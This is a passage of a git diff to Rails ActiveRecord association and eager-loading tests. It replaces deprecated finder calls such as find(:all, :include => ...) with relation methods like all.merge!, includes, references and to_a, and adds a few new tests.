     assert_not_nil author2
 
@@ -497,14 +498,14 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
 
     assert_nothing_raised do
       Account.find(@account.id).save!
-      Account.find(@account.id, :include => :firm).save!
+      Account.all.merge!(:includes => :firm).find(@account.id).save!
     end
 
     @account.firm.delete
 
     assert_nothing_raised do
       Account.find(@account.id).save!
-      Account.find(@account.id, :include => :firm).save!
+      Account.all.merge!(:includes => :firm).find(@account.id).save!
     end
   end
 
@@ -517,19 +518,19 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
       authors(:david).destroy
     end
 
-    assert_equal [], AuthorAddress.find_all_by_id([author_address.id, author_address_extra.id])
+    assert_equal [], AuthorAddress.where(id: [author_address.id, author_address_extra.id])
     assert_equal [author_address.id], AuthorAddress.destroyed_author_address_ids
   end
 
   def test_invalid_belongs_to_dependent_option_nullify_raises_exception
     assert_raise ArgumentError do
-      Author.belongs_to :special_author_address, :dependent => :nullify
+      Class.new(Author).belongs_to :special_author_address, :dependent => :nullify
     end
   end
 
   def test_invalid_belongs_to_dependent_option_restrict_raises_exception
     assert_raise ArgumentError do
-      Author.belongs_to :special_author_address, :dependent => :restrict
+      Class.new(Author).belongs_to :special_author_address, :dependent => :restrict
     end
   end
 
@@ -704,4 +705,27 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
 
     assert_equal toy, sponsor.reload.sponsorable
   end
+
+  test "stale tracking doesn't care about the type" do
+    apple = Firm.create("name" => "Apple")
+    citibank = Account.create("credit_limit" => 10)
+
+    citibank.firm_id = apple.id
+    citibank.firm # load it
+
+    citibank.firm_id = apple.id.to_s
+
+    assert !citibank.association(:firm).stale_target?
+  end
+
+  def test_reflect_the_most_recent_change
+    author1, author2 = Author.limit(2)
+    post = Post.new(:title => "foo", :body=> "bar")
+
+    post.author    = author1
+    post.author_id = author2.id
+
+    assert post.save
+    assert_equal post.author_id, author2.id
+  end
 end
diff --git a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
index ff376a68d8..80bca7f63e 100644
--- a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
+++ b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
@@ -16,7 +16,7 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
            :categorizations, :people, :categories, :edges, :vertices
 
   def test_eager_association_loading_with_cascaded_two_levels
-    authors = Author.find(:all, :include=>{:posts=>:comments}, :order=>"authors.id")
+    authors = Author.all.merge!(:includes=>{:posts=>:comments}, :order=>"authors.id").to_a
     assert_equal 3, authors.size
     assert_equal 5, authors[0].posts.size
     assert_equal 3, authors[1].posts.size
@@ -24,7 +24,7 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
   end
 
   def test_eager_association_loading_with_cascaded_two_levels_and_one_level
-    authors = Author.find(:all, :include=>[{:posts=>:comments}, :categorizations], :order=>"authors.id")
+    authors = Author.all.merge!(:includes=>[{:posts=>:comments}, :categorizations], :order=>"authors.id").to_a
     assert_equal 3, authors.size
     assert_equal 5, authors[0].posts.size
     assert_equal 3, authors[1].posts.size
@@ -35,16 +35,16 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
 
   def test_eager_association_loading_with_hmt_does_not_table_name_collide_when_joining_associations
     assert_nothing_raised do
-      Author.joins(:posts).eager_load(:comments).where(:posts => {:taggings_count => 1}).all
+      Author.joins(:posts).eager_load(:comments).where(:posts => {:taggings_count => 1}).to_a
     end
-    authors = Author.joins(:posts).eager_load(:comments).where(:posts => {:taggings_count => 1}).all
+    authors = Author.joins(:posts).eager_load(:comments).where(:posts => {:taggings_count => 1}).to_a
     assert_equal 1, assert_no_queries { authors.size }
     assert_equal 10, assert_no_queries { authors[0].comments.size }
   end
 
   def test_eager_association_loading_grafts_stashed_associations_to_correct_parent
     assert_nothing_raised do
-      Person.eager_load(:primary_contact => :primary_contact).where('primary_contacts_people_2.first_name = ?', 'Susan').order('people.id').all
+      Person.eager_load(:primary_contact => :primary_contact).where('primary_contacts_people_2.first_name = ?', 'Susan').order('people.id').to_a
     end
     assert_equal people(:michael), Person.eager_load(:primary_contact => :primary_contact).where('primary_contacts_people_2.first_name = ?', 'Susan').order('people.id').first
   end
@@ -54,25 +54,25 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
 
     assert_nothing_raised do
       assert_equal 4, categories.count
-      assert_equal 4, categories.all.count
+      assert_equal 4, categories.to_a.count
       assert_equal 3, categories.count(:distinct => true)
-      assert_equal 3, categories.all.uniq.size # Must uniq since instantiating with inner joins will get dupes
+      assert_equal 3, categories.to_a.uniq.size # Must uniq since instantiating with inner joins will get dupes
     end
   end
 
   def test_cascaded_eager_association_loading_with_duplicated_includes
-    categories = Category.includes(:categorizations).includes(:categorizations => :author).where("categorizations.id is not null")
+    categories = Category.includes(:categorizations).includes(:categorizations => :author).where("categorizations.id is not null").references(:categorizations)
     assert_nothing_raised do
       assert_equal 3, categories.count
-      assert_equal 3, categories.all.size
+      assert_equal 3, categories.to_a.size
     end
   end
 
   def test_cascaded_eager_association_loading_with_twice_includes_edge_cases
-    categories = Category.includes(:categorizations => :author).includes(:categorizations => :post).where("posts.id is not null")
+    categories = Category.includes(:categorizations => :author).includes(:categorizations => :post).where("posts.id is not null").references(:posts)
     assert_nothing_raised do
       assert_equal 3, categories.count
-      assert_equal 3, categories.all.size
+      assert_equal 3, categories.to_a.size
     end
   end
 
@@ -80,11 +80,11 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
     authors = Author.joins(:special_posts).includes([:posts, :categorizations])
 
     assert_nothing_raised { authors.count }
-    assert_queries(3) { authors.all }
+    assert_queries(3) { authors.to_a }
   end
 
   def test_eager_association_loading_with_cascaded_two_levels_with_two_has_many_associations
-    authors = Author.find(:all, :include=>{:posts=>[:comments, :categorizations]}, :order=>"authors.id")
+    authors = Author.all.merge!(:includes=>{:posts=>[:comments, :categorizations]}, :order=>"authors.id").to_a
     assert_equal 3, authors.size
     assert_equal 5, authors[0].posts.size
     assert_equal 3, authors[1].posts.size
@@ -92,7 +92,7 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
   end
 
   def test_eager_association_loading_with_cascaded_two_levels_and_self_table_reference
-    authors = Author.find(:all, :include=>{:posts=>[:comments, :author]}, :order=>"authors.id")
+    authors = Author.all.merge!(:includes=>{:posts=>[:comments, :author]}, :order=>"authors.id").to_a
     assert_equal 3, authors.size
     assert_equal 5, authors[0].posts.size
     assert_equal authors(:david).name, authors[0].name
@@ -100,13 +100,13 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
   end
 
   def test_eager_association_loading_with_cascaded_two_levels_with_condition
-    authors = Author.find(:all, :include=>{:posts=>:comments}, :conditions=>"authors.id=1", :order=>"authors.id")
+    authors = Author.all.merge!(:includes=>{:posts=>:comments}, :where=>"authors.id=1", :order=>"authors.id").to_a
     assert_equal 1, authors.size
     assert_equal 5, authors[0].posts.size
   end
 
   def test_eager_association_loading_with_cascaded_three_levels_by_ping_pong
-    firms = Firm.find(:all, :include=>{:account=>{:firm=>:account}}, :order=>"companies.id")
+    firms = Firm.all.merge!(:includes=>{:account=>{:firm=>:account}}, :order=>"companies.id").to_a
     assert_equal 2, firms.size
     assert_equal firms.first.account, firms.first.account.firm.account
     assert_equal companies(:first_firm).account, assert_no_queries { firms.first.account.firm.account }
@@ -114,7 +114,7 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
   end
 
   def test_eager_association_loading_with_has_many_sti
-    topics = Topic.find(:all, :include => :replies, :order => 'topics.id')
+    topics = Topic.all.merge!(:includes => :replies, :order => 'topics.id').to_a
     first, second, = topics(:first).replies.size, topics(:second).replies.size
     assert_no_queries do
       assert_equal first, topics[0].replies.size
@@ -127,7 +127,7 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
     silly.parent_id = 1
     assert silly.save
 
-    topics = Topic.find(:all, :include => :replies, :order => 'topics.id, replies_topics.id')
+    topics = Topic.all.merge!(:includes => :replies, :order => ['topics.id', 'replies_topics.id']).to_a
     assert_no_queries do
       assert_equal 2, topics[0].replies.size
       assert_equal 0, topics[1].replies.size
@@ -135,14 +135,14 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
   end
 
   def test_eager_association_loading_with_belongs_to_sti
-    replies = Reply.find(:all, :include => :topic, :order => 'topics.id')
+    replies = Reply.all.merge!(:includes => :topic, :order => 'topics.id').to_a
     assert replies.include?(topics(:second))
     assert !replies.include?(topics(:first))
     assert_equal topics(:first), assert_no_queries { replies.first.topic }
   end
 
   def test_eager_association_loading_with_multiple_stis_and_order
-    author = Author.find(:first, :include => { :posts => [ :special_comments , :very_special_comment ] }, :order => ['authors.name', 'comments.body', 'very_special_comments_posts.body'], :conditions => 'posts.id = 4')
+    author = Author.all.merge!(:includes => { :posts => [ :special_comments , :very_special_comment ] }, :order => ['authors.name', 'comments.body', 'very_special_comments_posts.body'], :where => 'posts.id = 4').first
     assert_equal authors(:david), author
     assert_no_queries do
       author.posts.first.special_comments
@@ -151,7 +151,7 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
   end
 
   def test_eager_association_loading_of_stis_with_multiple_references
-    authors = Author.find(:all, :include => { :posts => { :special_comments => { :post => [ :special_comments, :very_special_comment ] } } }, :order => 'comments.body, very_special_comments_posts.body', :conditions => 'posts.id = 4')
+    authors = Author.all.merge!(:includes => { :posts => { :special_comments => { :post => [ :special_comments, :very_special_comment ] } } }, :order => 'comments.body, very_special_comments_posts.body', :where => 'posts.id = 4').to_a
     assert_equal [authors(:david)], authors
     assert_no_queries do
       authors.first.posts.first.special_comments.first.post.special_comments
@@ -160,7 +160,7 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
   end
 
   def test_eager_association_loading_where_first_level_returns_nil
-    authors = Author.find(:all, :include => {:post_about_thinking => :comments}, :order => 'authors.id DESC')
+    authors = Author.all.merge!(:includes => {:post_about_thinking => :comments}, :order => 'authors.id DESC').to_a
     assert_equal [authors(:bob), authors(:mary), authors(:david)], authors
     assert_no_queries do
       authors[2].post_about_thinking.comments.first
@@ -168,12 +168,12 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
   end
 
   def test_eager_association_loading_with_recursive_cascading_four_levels_has_many_through
-    source = Vertex.find(:first, :include=>{:sinks=>{:sinks=>{:sinks=>:sinks}}}, :order => 'vertices.id')
+    source = Vertex.all.merge!(:includes=>{:sinks=>{:sinks=>{:sinks=>:sinks}}}, :order => 'vertices.id').first
     assert_equal vertices(:vertex_4), assert_no_queries { source.sinks.first.sinks.first.sinks.first }
   end
 
   def test_eager_association_loading_with_recursive_cascading_four_levels_has_and_belongs_to_many
-    sink = Vertex.find(:first, :include=>{:sources=>{:sources=>{:sources=>:sources}}}, :order => 'vertices.id DESC')
+    sink = Vertex.all.merge!(:includes=>{:sources=>{:sources=>{:sources=>:sources}}}, :order => 'vertices.id DESC').first
     assert_equal vertices(:vertex_1), assert_no_queries { sink.sources.first.sources.first.sources.first.sources.first }
   end
 end
diff --git a/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb b/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
index d75791cab9..75a6295350 100644
--- a/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
+++ b/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
@@ -4,7 +4,7 @@ require 'models/tagging'
 
 module Namespaced
   class Post < ActiveRecord::Base
-    set_table_name 'posts'
+    self.table_name = 'posts'
     has_one :tagging, :as => :taggable, :class_name => 'Tagging'
   end
 end
@@ -24,12 +24,11 @@ class EagerLoadIncludeFullStiClassNamesTest < ActiveRecord::TestCase
     old = ActiveRecord::Base.store_full_sti_class
 
     ActiveRecord::Base.store_full_sti_class = false
-    post = Namespaced::Post.find_by_title( 'Great stuff', :include => :tagging )
+    post = Namespaced::Post.includes(:tagging).find_by_title('Great stuff')
     assert_nil post.tagging
 
-    ActiveRecord::IdentityMap.clear
     ActiveRecord::Base.store_full_sti_class = true
-    post = Namespaced::Post.find_by_title( 'Great stuff', :include => :tagging )
+    post = Namespaced::Post.includes(:tagging).find_by_title('Great stuff')
     assert_instance_of Tagging, post.tagging
   ensure
     ActiveRecord::Base.store_full_sti_class = old
diff --git a/activerecord/test/cases/associations/eager_load_nested_include_test.rb b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
index 2cf9f89c3c..5ff117eaa0 100644
--- a/activerecord/test/cases/associations/eager_load_nested_include_test.rb
+++ b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
@@ -6,7 +6,6 @@ require 'models/comment'
 require 'models/category'
 require 'models/categorization'
 require 'models/tagging'
-require 'active_support/core_ext/array/random_access'
 
 module Remembered
   extend ActiveSupport::Concern
@@ -93,8 +92,7 @@ class EagerLoadPolyAssocsTest < ActiveRecord::TestCase
   end
 
   def test_include_query
-    res = 0
-    res = ShapeExpression.find :all, :include => [ :shape, { :paint => :non_poly } ]
+    res = ShapeExpression.all.merge!(:includes => [ :shape, { :paint => :non_poly } ]).to_a
     assert_equal NUM_SHAPE_EXPRESSIONS, res.size
     assert_queries(0) do
       res.each do |se|
@@ -124,7 +122,7 @@ class EagerLoadNestedIncludeWithMissingDataTest < ActiveRecord::TestCase
     assert_nothing_raised do
       # @davey_mcdave doesn't have any author_favorites
       includes = {:posts => :comments, :categorizations => :category, :author_favorites => :favorite_author }
-      Author.all :include => includes, :conditions => {:authors => {:name => @davey_mcdave.name}}, :order => 'categories.name'
+      Author.all.merge!(:includes => includes, :where => {:authors => {:name => @davey_mcdave.name}}, :order => 'categories.name').to_a
     end
   end
 end
diff --git a/activerecord/test/cases/associations/eager_singularization_test.rb b/activerecord/test/cases/associations/eager_singularization_test.rb
index 07d0b24613..634f6b63ba 100644
--- a/activerecord/test/cases/associations/eager_singularization_test.rb
+++ b/activerecord/test/cases/associations/eager_singularization_test.rb
@@ -103,43 +103,43 @@ class EagerSingularizationTest < ActiveRecord::TestCase
   def test_eager_no_extra_singularization_belongs_to
     return unless @have_tables
     assert_nothing_raised do
-      Virus.find(:all, :include => :octopus)
+      Virus.all.merge!(:includes => :octopus).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_one
     return unless @have_tables
     assert_nothing_raised do
-      Octopus.find(:all, :include => :virus)
+      Octopus.all.merge!(:includes => :virus).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_many
     return unless @have_tables
     assert_nothing_raised do
-      Bus.find(:all, :include => :passes)
+      Bus.all.merge!(:includes => :passes).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_and_belongs_to_many
     return unless @have_tables
     assert_nothing_raised do
-      Crisis.find(:all, :include => :messes)
-      Mess.find(:all, :include => :crises)
+      Crisis.all.merge!(:includes => :messes).to_a
+      Mess.all.merge!(:includes => :crises).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_many_through_belongs_to
     return unless @have_tables
     assert_nothing_raised do
-      Crisis.find(:all, :include => :successes)
+      Crisis.all.merge!(:includes => :successes).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_many_through_has_many
     return unless @have_tables
     assert_nothing_raised do
-      Crisis.find(:all, :include => :compresses)
+      Crisis.all.merge!(:includes => :compresses).to_a
     end
   end
 end
diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb
index c6e451fc57..da4eeb3844 100644
--- a/activerecord/test/cases/associations/eager_test.rb
+++ b/activerecord/test/cases/associations/eager_test.rb
@@ -29,45 +29,43 @@ class EagerAssociationTest < ActiveRecord::TestCase
             :owners, :pets, :author_favorites, :jobs, :references, :subscribers, :subscriptions, :books,
             :developers, :projects, :developers_projects, :members, :memberships, :clubs, :sponsors
 
-  def setup
-    # preheat table existence caches
-    Comment.find_by_id(1)
-  end
-
   def test_eager_with_has_one_through_join_model_with_conditions_on_the_through
-    member = Member.find(members(:some_other_guy).id, :include => :favourite_club)
+    member = Member.all.merge!(:includes => :favourite_club).find(members(:some_other_guy).id)
     assert_nil member.favourite_club
   end
 
   def test_loading_with_one_association
-    posts = Post.find(:all, :include => :comments)
+    posts = Post.all.merge!(:includes => :comments).to_a
     post = posts.find { |p| p.id == 1 }
     assert_equal 2, post.comments.size
     assert post.comments.include?(comments(:greetings))
 
-    post = Post.find(:first, :include => :comments, :conditions => "posts.title = 'Welcome to the weblog'")
+    post = Post.all.merge!(:includes => :comments, :where => "posts.title = 'Welcome to the weblog'").first
     assert_equal 2, post.comments.size
     assert post.comments.include?(comments(:greetings))
 
-    posts = Post.find(:all, :include => :last_comment)
+    posts = Post.all.merge!(:includes => :last_comment).to_a
     post = posts.find { |p| p.id == 1 }
     assert_equal Post.find(1).last_comment, post.last_comment
   end
 
   def test_loading_with_one_association_with_non_preload
-    posts = Post.find(:all, :include => :last_comment, :order => 'comments.id DESC')
+    posts = Post.all.merge!(:includes => :last_comment, :order => 'comments.id DESC').to_a
     post = posts.find { |p| p.id == 1 }
     assert_equal Post.find(1).last_comment, post.last_comment
   end
 
   def test_loading_conditions_with_or
-    posts = authors(:david).posts.find(:all, :include => :comments, :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE} = 'SpecialComment'")
+    posts = authors(:david).posts.references(:comments).merge(
+      :includes => :comments,
+      :where => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE} = 'SpecialComment'"
+    ).to_a
     assert_nil posts.detect { |p| p.author_id != authors(:david).id },
       "expected to find only david's posts"
   end
 
   def test_with_ordering
-    list = Post.find(:all, :include => :comments, :order => "posts.id DESC")
+    list = Post.all.merge!(:includes => :comments, :order => "posts.id DESC").to_a
     [:other_by_mary, :other_by_bob, :misc_by_mary, :misc_by_bob, :eager_other,
      :sti_habtm, :sti_post_and_comments, :sti_comments, :authorless, :thinking, :welcome
     ].each_with_index do |post, index|
@@ -81,14 +79,14 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_loading_with_multiple_associations
-    posts = Post.find(:all, :include => [ :comments, :author, :categories ], :order => "posts.id")
+    posts = Post.all.merge!(:includes => [ :comments, :author, :categories ], :order => "posts.id").to_a
     assert_equal 2, posts.first.comments.size
     assert_equal 2, posts.first.categories.size
     assert posts.first.comments.include?(comments(:greetings))
   end
 
   def test_duplicate_middle_objects
-    comments = Comment.find :all, :conditions => 'post_id = 1', :include => [:post => :author]
+    comments = Comment.all.merge!(:where => 'post_id = 1', :includes => [:post => :author]).to_a
     assert_no_queries do
       comments.each {|comment| comment.post.author.name}
     end
@@ -96,25 +94,25 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_preloading_has_many_in_multiple_queries_with_more_ids_than_database_can_handle
     Post.connection.expects(:in_clause_length).at_least_once.returns(5)
-    posts = Post.find(:all, :include=>:comments)
+    posts = Post.all.merge!(:includes=>:comments).to_a
     assert_equal 11, posts.size
   end
 
   def test_preloading_has_many_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle
     Post.connection.expects(:in_clause_length).at_least_once.returns(nil)
-    posts = Post.find(:all, :include=>:comments)
+    posts = Post.all.merge!(:includes=>:comments).to_a
     assert_equal 11, posts.size
   end
 
   def test_preloading_habtm_in_multiple_queries_with_more_ids_than_database_can_handle
     Post.connection.expects(:in_clause_length).at_least_once.returns(5)
-    posts = Post.find(:all, :include=>:categories)
+    posts = Post.all.merge!(:includes=>:categories).to_a
     assert_equal 11, posts.size
   end
 
   def test_preloading_habtm_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle
     Post.connection.expects(:in_clause_length).at_least_once.returns(nil)
-    posts = Post.find(:all, :include=>:categories)
+    posts = Post.all.merge!(:includes=>:categories).to_a
     assert_equal 11, posts.size
   end
 
@@ -151,8 +149,8 @@ class EagerAssociationTest < ActiveRecord::TestCase
     popular_post.readers.create!(:person => people(:michael))
     popular_post.readers.create!(:person => people(:david))
 
-    readers = Reader.find(:all, :conditions => ["post_id = ?", popular_post.id],
-                                :include => {:post => :comments})
+    readers = Reader.all.merge!(:where => ["post_id = ?", popular_post.id],
+                                :includes => {:post => :comments}).to_a
     readers.each do |reader|
       assert_equal [comment], reader.post.comments
     end
@@ -164,8 +162,8 @@ class EagerAssociationTest < ActiveRecord::TestCase
     car_post.categories << categories(:technology)
 
     comment = car_post.comments.create!(:body => "hmm")
-    categories = Category.find(:all, :conditions => ["posts.id=?", car_post.id],
-                                 :include => {:posts => :comments})
+    categories = Category.all.merge!(:where => { 'posts.id' => car_post.id },
+                                 :includes => {:posts => :comments}).to_a
     categories.each do |category|
       assert_equal [comment], category.posts[0].comments
     end
@@ -183,10 +181,10 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_finding_with_includes_on_has_many_association_with_same_include_includes_only_once
     author_id = authors(:david).id
-    author = assert_queries(3) { Author.find(author_id, :include => {:posts_with_comments => :comments}) } # find the author, then find the posts, then find the comments
+    author = assert_queries(3) { Author.all.merge!(:includes => {:posts_with_comments => :comments}).find(author_id) } # find the author, then find the posts, then find the comments
     author.posts_with_comments.each do |post_with_comments|
       assert_equal post_with_comments.comments.length, post_with_comments.comments.count
-      assert_nil post_with_comments.comments.uniq!
+      assert_nil post_with_comments.comments.to_a.uniq!
     end
   end
 
@@ -194,7 +192,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
     author = authors(:david)
     post = author.post_about_thinking_with_last_comment
     last_comment = post.last_comment
-    author = assert_queries(ActiveRecord::IdentityMap.enabled? ? 2 : 3) { Author.find(author.id, :include => {:post_about_thinking_with_last_comment => :last_comment})} # find the author, then find the posts, then find the comments
+    author = assert_queries(3) { Author.all.merge!(:includes => {:post_about_thinking_with_last_comment => :last_comment}).find(author.id)} # find the author, then find the posts, then find the comments
     assert_no_queries do
       assert_equal post, author.post_about_thinking_with_last_comment
       assert_equal last_comment, author.post_about_thinking_with_last_comment.last_comment
@@ -205,7 +203,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
     post = posts(:welcome)
     author = post.author
     author_address = author.author_address
-    post = assert_queries(ActiveRecord::IdentityMap.enabled? ? 2 : 3) { Post.find(post.id, :include => {:author_with_address => :author_address}) } # find the post, then find the author, then find the address
+    post = assert_queries(3) { Post.all.merge!(:includes => {:author_with_address => :author_address}).find(post.id) } # find the post, then find the author, then find the address
     assert_no_queries do
       assert_equal author, post.author_with_address
       assert_equal author_address, post.author_with_address.author_address
@@ -215,7 +213,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
   def test_finding_with_includes_on_null_belongs_to_association_with_same_include_includes_only_once
     post = posts(:welcome)
     post.update_attributes!(:author => nil)
-    post = assert_queries(1) { Post.find(post.id, :include => {:author_with_address => :author_address}) } # find the post, then find the author which is null so no query for the author or address
+    post = assert_queries(1) { Post.all.merge!(:includes => {:author_with_address => :author_address}).find(post.id) } # find the post, then find the author which is null so no query for the author or address
     assert_no_queries do
       assert_equal nil, post.author_with_address
     end
@@ -224,41 +222,85 @@ class EagerAssociationTest < ActiveRecord::TestCase
   def test_finding_with_includes_on_null_belongs_to_polymorphic_association
     sponsor = sponsors(:moustache_club_sponsor_for_groucho)
     sponsor.update_attributes!(:sponsorable => nil)
-    sponsor = assert_queries(1) { Sponsor.find(sponsor.id, :include => :sponsorable) }
+    sponsor = assert_queries(1) { Sponsor.all.merge!(:includes => :sponsorable).find(sponsor.id) }
     assert_no_queries do
       assert_equal nil, sponsor.sponsorable
     end
   end
 
   def test_loading_from_an_association
-    posts = authors(:david).posts.find(:all, :include => :comments, :order => "posts.id")
+    posts = authors(:david).posts.merge(:includes => :comments, :order => "posts.id").to_a
     assert_equal 2, posts.first.comments.size
   end
 
   def test_loading_from_an_association_that_has_a_hash_of_conditions
     assert_nothing_raised do
-      Author.find(:all, :include => :hello_posts_with_hash_conditions)
+      Author.all.merge!(:includes => :hello_posts_with_hash_conditions).to_a
     end
-    assert !Author.find(authors(:david).id, :include => :hello_posts_with_hash_conditions).hello_posts.empty?
+    assert !Author.all.merge!(:includes => :hello_posts_with_hash_conditions).find(authors(:david).id).hello_posts.empty?
   end
 
   def test_loading_with_no_associations
-    assert_nil Post.find(posts(:authorless).id, :include => :author).author
+    assert_nil Post.all.merge!(:includes => :author).find(posts(:authorless).id).author
   end
 
   def test_nested_loading_with_no_associations
     assert_nothing_raised do
-      Post.find(posts(:authorless).id, :include => {:author => :author_addresss})
+      Post.all.merge!(:includes => {:author => :author_addresss}).find(posts(:authorless).id)
     end
   end
 
+  def test_nested_loading_through_has_one_association
+    aa = AuthorAddress.all.merge!(:includes => {:author => :posts}).find(author_addresses(:david_address).id)
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_order
+    aa = AuthorAddress.all.merge!(:includes => {:author => :posts}, :order => 'author_addresses.id').find(author_addresses(:david_address).id)
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_order_on_association
+    aa = AuthorAddress.all.merge!(:includes => {:author => :posts}, :order => 'authors.id').find(author_addresses(:david_address).id)
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_order_on_nested_association
+    aa = AuthorAddress.all.merge!(:includes => {:author => :posts}, :order => 'posts.id').find(author_addresses(:david_address).id)
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_conditions
+    aa = AuthorAddress.references(:author_addresses).merge(
+      :includes => {:author => :posts},
+      :where => "author_addresses.id > 0"
+    ).find author_addresses(:david_address).id
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_conditions_on_association
+    aa = AuthorAddress.references(:authors).merge(
+      :includes => {:author => :posts},
+      :where => "authors.id > 0"
+    ).find author_addresses(:david_address).id
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_conditions_on_nested_association
+    aa = AuthorAddress.references(:posts).merge(
+      :includes => {:author => :posts},
+      :where => "posts.id > 0"
+    ).find author_addresses(:david_address).id
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
   def test_eager_association_loading_with_belongs_to_and_foreign_keys
-    pets = Pet.find(:all, :include => :owner)
+    pets = Pet.all.merge!(:includes => :owner).to_a
     assert_equal 3, pets.length
   end
 
   def test_eager_association_loading_with_belongs_to
-    comments = Comment.find(:all, :include => :post)
+    comments = Comment.all.merge!(:includes => :post).to_a
     assert_equal 11, comments.length
     titles = comments.map { |c| c.post.title }
     assert titles.include?(posts(:welcome).title)
@@ -266,45 +308,47 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit
-    comments = Comment.find(:all, :include => :post, :limit => 5, :order => 'comments.id')
+    comments = Comment.all.merge!(:includes => :post, :limit => 5, :order => 'comments.id').to_a
     assert_equal 5, comments.length
     assert_equal [1,2,3,5,6], comments.collect { |c| c.id }
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit_and_conditions
-    comments = Comment.find(:all, :include => :post, :conditions => 'post_id = 4', :limit => 3, :order => 'comments.id')
+    comments = Comment.all.merge!(:includes => :post, :where => 'post_id = 4', :limit => 3, :order => 'comments.id').to_a
     assert_equal 3, comments.length
     assert_equal [5,6,7], comments.collect { |c| c.id }
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit_and_offset
-    comments = Comment.find(:all, :include => :post, :limit => 3, :offset => 2, :order => 'comments.id')
+    comments = Comment.all.merge!(:includes => :post, :limit => 3, :offset => 2, :order => 'comments.id').to_a
     assert_equal 3, comments.length
     assert_equal [3,5,6], comments.collect { |c| c.id }
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions
-    comments = Comment.find(:all, :include => :post, :conditions => 'post_id = 4', :limit => 3, :offset => 1, :order => 'comments.id')
+    comments = Comment.all.merge!(:includes => :post, :where => 'post_id = 4', :limit => 3, :offset => 1, :order => 'comments.id').to_a
     assert_equal 3, comments.length
     assert_equal [6,7,8], comments.collect { |c| c.id }
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions_array
-    comments = Comment.find(:all, :include => :post, :conditions => ['post_id = ?',4], :limit => 3, :offset => 1, :order => 'comments.id')
+    comments = Comment.all.merge!(:includes => :post, :where => ['post_id = ?',4], :limit => 3, :offset => 1, :order => 'comments.id').to_a
     assert_equal 3, comments.length
     assert_equal [6,7,8], comments.collect { |c| c.id }
   end
 
   def test_eager_association_loading_with_belongs_to_and_conditions_string_with_unquoted_table_name
     assert_nothing_raised do
-      Comment.find(:all, :include => :post, :conditions => ['posts.id = ?',4])
+      ActiveSupport::Deprecation.silence do
+        Comment.all.merge!(:includes => :post, :where => ['posts.id = ?',4]).to_a
+      end
     end
   end
 
   def test_eager_association_loading_with_belongs_to_and_conditions_hash
     comments = []
     assert_nothing_raised do
-      comments = Comment.find(:all, :include => :post, :conditions => {:posts => {:id => 4}}, :limit => 3, :order => 'comments.id')
+      comments = Comment.all.merge!(:includes => :post, :where => {:posts => {:id => 4}}, :limit => 3, :order => 'comments.id').to_a
     end
     assert_equal 3, comments.length
     assert_equal [5,6,7], comments.collect { |c| c.id }
@@ -316,67 +360,71 @@ class EagerAssociationTest < ActiveRecord::TestCase
   def test_eager_association_loading_with_belongs_to_and_conditions_string_with_quoted_table_name
     quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
     assert_nothing_raised do
-      Comment.find(:all, :include => :post, :conditions => ["#{quoted_posts_id} = ?",4])
+      ActiveSupport::Deprecation.silence do
+        Comment.all.merge!(:includes => :post, :where => ["#{quoted_posts_id} = ?",4]).to_a
+      end
     end
   end
 
